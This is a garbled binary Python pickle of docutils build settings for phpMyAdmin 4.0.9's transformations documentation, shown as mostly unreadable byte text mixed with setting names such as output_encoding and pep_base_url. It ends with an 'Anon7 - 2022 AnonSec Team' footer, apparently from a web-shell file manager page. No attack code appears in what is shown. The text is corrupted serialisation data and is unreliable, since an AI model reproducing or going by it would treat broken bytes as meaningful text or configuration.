strip_classesrTNhLNUerror_encoding_error_handlerrUUbackslashreplacerVUdebugrWNUembed_stylesheetrX�Uoutput_encoding_error_handlerrYUstrictrZU
sectnum_xformr[KUdump_transformsr\NU
docinfo_xformr]KUwarning_streamr^NUpep_file_url_templater_Upep-%04dr`Uexit_status_levelraKUconfigrbNUstrict_visitorrcNUcloak_email_addressesrd�Utrim_footnote_reference_spacere�UenvrfNUdump_pseudo_xmlrgNUexpose_internalsrhNUsectsubtitle_xformri�Usource_linkrjNUrfc_referencesrkNUoutput_encodingrlUutf-8rmU
source_urlrnNUinput_encodingroU	utf-8-sigrpU_disable_configrqNU	id_prefixrrUU	tab_widthrsKUerror_encodingrtUANSI_X3.4-1968ruU_sourcervUH/opt/pma-git/phpmyadmin/release/phpMyAdmin-4.0.9/doc/transformations.rstrwUgettext_compactrx�U	generatorryNUdump_internalsrzNUsmart_quotesr{�Upep_base_urlr|Uhttp://www.python.org/dev/peps/r}Usyntax_highlightr~UlongrUinput_encoding_error_handlerr�jZUauto_id_prefixr�Uidr�Udoctitle_xformr��Ustrip_elements_with_classesr�NU
_config_filesr�]r�Ufile_insertion_enabledr�KUraw_enabledr�KU
dump_settingsr�NubUsymbol_footnote_startr�KUidsr�}r�(h7hj|jvhkhcj)j#hChj�j�j�j�j<j>jFj>hahcj�j�uUsubstitution_namesr�}r�h(h9h*}r�(h0]r�h,]r�h.]r�Usourcer�h h2]r�h4]r�uU	footnotesr�]r�Urefidsr�}r�(j�]r�j�aha]r�hXah7]r�h%aj<]r�j3auub.

Anon7 - 2022
AnonSec Team